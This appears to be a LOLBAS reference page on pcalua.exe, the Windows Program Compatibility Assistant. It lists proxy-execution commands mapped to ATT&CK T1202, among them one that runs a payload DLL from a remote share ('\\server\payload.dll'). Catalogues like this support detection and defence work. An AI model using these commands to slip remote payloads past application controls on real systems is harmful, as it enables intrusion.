.. /Pcalua.exe
Star

Execute (DLL)

Program Compatibility Assistant


Paths:

Resources:
Acknowledgements:

Detection:

Execute

  1. Open the target .EXE using the Program Compatibility Assistant.

    pcalua.exe -a calc.exe
    Use case
    Proxy execution of binary
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1202

  2. Open the target .DLL file with the Program Compatibilty Assistant.

    pcalua.exe -a \\server\payload.dll
    Use case
    Proxy execution of remote dll file
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10
    ATT&CK® technique
    T1202
    Tags
    Execute: DLL
    This LOLBAS executes Dynamic-Link Libraries (DLLs).

  3. Open the target .CPL file with the Program Compatibility Assistant.

    pcalua.exe -a C:\Windows\system32\javacpl.cpl -c Java
    Use case
    Execution of CPL files
    Privileges required
    User
    Operating systems
    Windows vista, Windows 7, Windows 8, Windows 8.1, Windows 10, Windows 11
    ATT&CK® technique
    T1202